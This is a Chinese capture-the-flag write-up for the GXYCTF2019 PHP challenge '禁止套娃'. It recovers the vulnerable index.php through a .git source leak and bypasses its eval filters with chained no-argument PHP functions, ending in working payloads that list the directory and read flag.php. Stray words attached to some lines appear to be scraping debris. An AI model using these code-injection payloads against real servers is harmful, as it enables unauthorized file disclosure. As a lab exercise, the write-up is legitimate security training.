GXYCTF2019-禁止套娃php
進去一句話,啥都沒有。掃個目錄,/.git返回429
直接訪問返回403,說明存在
直接訪問:
git
在沒有其餘明顯目錄,且無hint的狀況下。
考慮存在git泄漏。
常見的源碼泄漏有.git與.svn,對於git泄漏咱們可使用Githack來拿下。
https://github.com/lijiejie/G...github
果真存在,index.php源碼到手
shell
<?php include "flag.php"; echo "flag在哪裏呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("還差一點哦!"); } } else{ die("再好好想一想!"); } } else{ die("還想讀flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
原來所謂禁止套娃就是指饒掉這三個正則。下面逐步分析。數組
直接訪問flag.php,無404但不回顯。
那麼咱們的目的是,要求eval函數執行,而且執行讀取flag.php的命令。
那麼一個個if來分析svn
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
要求必須用data://,filter://,php://,phar://等僞協議。
這樣不能夠用file://讀取了。函數
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
第二個正則關鍵在於\((?R)?\)
,(?R)
表示引用當前表達式。
其中?
引用是可選項,匹配成功後用NULL替換。
那麼一個合法的表達式能夠是a(b();)工具
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
過濾一些函數。spa
下面列出一些函數,
1.scandir()
若是咱們要看當前目錄,須要給這個函數一個變量能夠表示當前聲明。
但這麼作須要提早聲明一個變量,顯然不可行。
那麼php中有沒有相似常量來指當前目錄呢?
2.一個常量
從上面能夠看到,localeconv是一個數組,因此咱們須要current取出數組中的單元,從而可讓scandir讀取。這就是所謂無參數執行命令。
但因爲正則的限制,current須要換成其同名函數pos
構造一個payload的指針
/?exp=print\_r(scandir(pos(localeconv())));
成功讀取到目錄位置。如今問題是:如何讀取數組的元素(輸出)?
這就涉及到了php的數組指向函數:
那麼能夠看到flag.php在倒數第二個位置,目前指針在0處。正常狀況下是指不到第二個的。如何呢?
又是另外一個函數:
那麼,就能夠用array_reverse()先反轉,而後用next讀取第二個,以後用highlight_file()讀取便可
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
成功拿下:
一題一個知識點,累覺不愛。
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/#comment-15 http://xxlegend.com/2015/04/01/SVN和GIT信息泄漏利用原理及現狀/